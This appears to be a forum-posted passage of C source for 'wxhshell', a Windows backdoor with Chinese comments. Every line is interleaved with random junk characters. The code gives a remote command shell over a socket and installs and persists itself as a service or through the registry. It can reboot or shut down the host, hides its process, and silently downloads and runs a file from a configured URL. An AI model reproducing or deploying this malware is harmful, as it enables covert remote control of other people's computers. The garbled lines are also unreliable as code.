    switch(cmd[0]) { rW~?0  
  sh(kRrdY3  
  // 帮助 *rn]/w8ZW  
  case '?': { }d~wDg<#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uOl(-Zq@  
    break; #W@% K9  
  } ]LBvYjMY  
  // 安装 @?3vRs}h  
  case 'i': { KT];SF ^Y  
    if(Install()) ]bN&5.|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t%CK!8  
    else ?S@R~y0K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Hh5u~  
    break; `[@^m5?b-  
    } te;Ox!B&  
  // 卸载 @0ov!9]Rw-  
  case 'r': { &cu] vw  
    if(Uninstall()) *hZ~i{c,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Lsjh#  
    else GL 5^_`n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i9;27tT~<  
    break; }*.:Hv"  
    } j!S1Y0CV  
  // 显示 wxhshell 所在路径 w`j*W$82  
  case 'p': { [T4 pgt'H  
    char svExeFile[MAX_PATH]; lj EB  
    strcpy(svExeFile,"\n\r"); (3ZvXpzvF  
      strcat(svExeFile,ExeFile); =s0g2Zv"\  
        send(wsh,svExeFile,strlen(svExeFile),0); a*6wSAA )  
    break; WbQhl sc:  
    } mX@j  
  // 重启 mNx,L+ 3  
  case 'b': { *9dV/TT~f[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gp$EXJ=  
    if(Boot(REBOOT)) W1?!iE~tO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 {mY:\  
    else { |I}A> XG  
    closesocket(wsh); Kd/[ Bs%  
    ExitThread(0); Ehb?CnV#J  
    } T/wM(pr'   
    break; Mu'^OX82  
    }  /[Bl  
  // 关机 P?q G  
  case 'd': { V;iL[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JlC<MQ?  
    if(Boot(SHUTDOWN)) J[}gku?C;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &;ZC<?wS  
    else { Ii~; d3.  
    closesocket(wsh); 0{0;1.ZP  
    ExitThread(0); PyC;f8n'(  
    } ;48P vw>g}  
    break; @[d#mz  
    } N 8:"&WM  
  // 获取shell ezcS[r  
  case 's': { VLh%XoQx[  
    CmdShell(wsh); <`c25ih.4  
    closesocket(wsh); |.b%rVu  
    ExitThread(0); j`2B}@2  
    break; {A]k%74-a  
  } 0rku4T  
  // 退出 .Lojzx  
  case 'x': { 20rN,@2<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n> MD\ZS  
    CloseIt(wsh); N@cMM1  
    break; 5mI?pfm  
    } 6Cl+KcJH  
  // 离开 Az9X#h.vf  
  case 'q': { x*unye7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z$!C=  
    closesocket(wsh); @+?+6sS  
    WSACleanup(); AA))KBXq  
    exit(1); >vQ6V'F  
    break; _&W0e}4  
        } kU #:I9PO  
  } f\h%; X  
  } A#Xj]^-*  
Y*Y&)k6 t  
  // 提示信息 [urH a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T?H\&2CLT  
} `aO.=:O_  
  } 4JGE2ArR  
R]CZw;zS_  
  return; Ab*] dn`z  
} UG6M9  
xe(MHNrj  
// shell模块句柄 oz%h)#;  
int CmdShell(SOCKET sock) mYjf5  
{ Dp!;7e s|  
STARTUPINFO si; M|U';2hZN:  
ZeroMemory(&si,sizeof(si)); q z=yMIy=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mH'\:oN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  \C|;F  
PROCESS_INFORMATION ProcessInfo; Qqp)@uM^  
char cmdline[]="cmd"; NeY"6!;k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rW[SU:  
  return 0; mDZ=Due1  
} BApa^j\?  
?LM:RADCm  
// 自身启动模式 !0b%Jh  
int StartFromService(void) >5c]aNcv  
{ HH7[tGF  
typedef struct 1x { XE*%;  
{ P!5Z]+B#  
  DWORD ExitStatus; H]BAW *}  
  DWORD PebBaseAddress; L5/mO6;k  
  DWORD AffinityMask; 7O:"~L  
  DWORD BasePriority; NNgK:YibD  
  ULONG UniqueProcessId; ?k"0w)8  
  ULONG InheritedFromUniqueProcessId; mIRAS"Q!m  
}   PROCESS_BASIC_INFORMATION; N9pwWg&<+  
}0Y`|H\v  
PROCNTQSIP NtQueryInformationProcess; L+73aN  
#aa1<-&H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +1x)z~q=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =w6}\ 'X  
)qmFK .;%  
  HANDLE             hProcess; ANotUty;y  
  PROCESS_BASIC_INFORMATION pbi; 4x(F&0  
x=h0Fq ,T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =C#*!N73  
  if(NULL == hInst ) return 0; uNy!< u  
M"B@M5KT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rfX=*mjt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nz[ m3]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :Z[(A"dA  
y[7C% Wj  
  if (!NtQueryInformationProcess) return 0; J)#S-ZB+'k  
l**3%cTb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2Q}7fht  
  if(!hProcess) return 0; ^@K WYAAW5  
%{U"EZ]D!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $D}"k!H  
=D5wqCT(Q  
  CloseHandle(hProcess); Ts#pUoE~+H  
r,0@~;zA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8A!'I<S1  
if(hProcess==NULL) return 0; =6fB*bNk]  
a}dw9wU!:  
HMODULE hMod; mVt3WZa  
char procName[255]; 6P^hN%0  
unsigned long cbNeeded; &1l~&,,  
*t]v}ZV*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jI A#!4  
}qL~KA{&  
  CloseHandle(hProcess); >;7a1+`3  
$cu]_gu  
if(strstr(procName,"services")) return 1; // 以服务启动 5/,Qz>QE[  
NZP7r;u  
  return 0; // 注册表启动 djfU:$!j&  
} >9MS" t  
~3d*b8  
// 主模块 (7~%B"  
int StartWxhshell(LPSTR lpCmdLine) cf\&No?-p  
{ G1/Gq.<  
  SOCKET wsl; .zIgbv s  
BOOL val=TRUE; uRpBeH]Z"  
  int port=0; Wt:~S/l  
  struct sockaddr_in door; x)$2nonM  
a5 bPEJ=I  
  if(wscfg.ws_autoins) Install(); Fv A8T 2-v  
},s_nJR:8  
port=atoi(lpCmdLine); #"<?_fao~  
MOeoU1Hn  
if(port<=0) port=wscfg.ws_port; Qh8C,"a  
Q vJZkGX  
  WSADATA data; )(]Envb?A0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (gU2"{:]J  
x9D/s`!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DN<M?u]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _JA:.V^3gm  
  door.sin_family = AF_INET; \OY}GRKt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ol}`Wwy  
  door.sin_port = htons(port); djGs~H>;U_  
@k9Pz<ub  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G AEZY  
closesocket(wsl); 7"a4/e;^  
return 1; #Wk5E2t  
} z37Z %^  
-;/ Y  
  if(listen(wsl,2) == INVALID_SOCKET) { B!uxs  
closesocket(wsl); D J_DonO]  
return 1; a'A s  
} JnHNkCaU  
  Wxhshell(wsl); c=aO5(i0  
  WSACleanup(); xl,ryc3J  
Y;eoT J  
return 0; Tyd h9I  
6]ZO'Nwo  
} |6*Va%LYO-  
{=iyK/Uf  
// 以NT服务方式启动 O2lIlCL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }lO }x  
{ 4 4`WYK l  
DWORD   status = 0; |]tZ hI"3<  
  DWORD   specificError = 0xfffffff; Cm410=b  
,J& 9kYz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x`L+7,&n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E-F5y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WUY,. 8  
  serviceStatus.dwWin32ExitCode     = 0; RY<%'\A`~  
  serviceStatus.dwServiceSpecificExitCode = 0; }hq^+fC?  
  serviceStatus.dwCheckPoint       = 0; Y/D -V  
  serviceStatus.dwWaitHint       = 0; HU9p !I.  
[4\aYB9N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >f%,`r  
  if (hServiceStatusHandle==0) return; ZPvf-Pq Jl  
CW;m  
status = GetLastError(); sUV>@UMnu  
  if (status!=NO_ERROR) 0 Z8/R  
{ )cKjiXn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UFf,+4q  
    serviceStatus.dwCheckPoint       = 0; #D0W7 a  
    serviceStatus.dwWaitHint       = 0; }Aw47;5q;  
    serviceStatus.dwWin32ExitCode     = status; &=NJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; [S)G$JW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<&d]N  
    return; Khap9a_q-  
  } dQK`sLChv  
O{u[+g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !t% Q{`p  
  serviceStatus.dwCheckPoint       = 0; qK,V$l(4#  
  serviceStatus.dwWaitHint       = 0; @() {/cF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KC]tY9 FK  
} H0+:XF\M  
q0g1E Jar  
// 处理NT服务事件,比如:启动、停止 eo ?Oir)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B/G3T u uG  
{ <p/MyqZf  
switch(fdwControl) M?R!n$N_  
{ J^h'9iQpi  
case SERVICE_CONTROL_STOP: FR["e1<0  
  serviceStatus.dwWin32ExitCode = 0; dE GX3 -  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3fl7~Lw,  
  serviceStatus.dwCheckPoint   = 0; & +]x;K  
  serviceStatus.dwWaitHint     = 0; B\/7^{i5  
  { J?,?fqb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j-6v2MH  
  } 82s 5VQ6  
  return; pl?kS8#U?  
case SERVICE_CONTROL_PAUSE: k,lqT>C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l#ZyB|  
  break; %p*`h43;  
case SERVICE_CONTROL_CONTINUE: iJ4 <f->t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BCBUb  
  break; #fN/LO  
case SERVICE_CONTROL_INTERROGATE: L^)qe^%3  
  break;  C/  
}; *_#&"(P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g&kH'fR8  
} SM$\;)L  
G:DSWW}  
// 标准应用程序主函数 bOe<\Y$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >] -<uT_  
{ qh H+m  
)tvc/)&A}  
// 获取操作系统版本 :l;,m}#@  
OsIsNt=GetOsVer(); 6&mWIk^VC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8yvJ`eL-  
*0\k Z,#BJ  
  // 从命令行安装 i(P>Y2s  
  if(strpbrk(lpCmdLine,"iI")) Install(); #<UuI9  
V_lGj  
  // 下载执行文件 jceHK l  
if(wscfg.ws_downexe) { L\YZT| K(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %UBPoq  
  WinExec(wscfg.ws_filenam,SW_HIDE); O"8P#Ed  
} ;M-,HK4=  
Bd8hJA  
if(!OsIsNt) { =/m}rcDN  
// 如果时win9x,隐藏进程并且设置为注册表启动 eWw y28t  
HideProc(); [&Lxz~W][  
StartWxhshell(lpCmdLine); `u$24h'!  
} i6FP[6H1  
else ON NW.xHp  
  if(StartFromService()) 0$!.c~  
  // 以服务方式启动 Etdd\^  
  StartServiceCtrlDispatcher(DispatchTable); ijg,'a~3E  
else ]Px:d+wX:  
  // 普通方式启动 (a,6a  
  StartWxhshell(lpCmdLine); ,d5ia4\K  
%$^$'6\77  
return 0; gl Li  
}
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只看该作者 1 发表于: 2006-10-10
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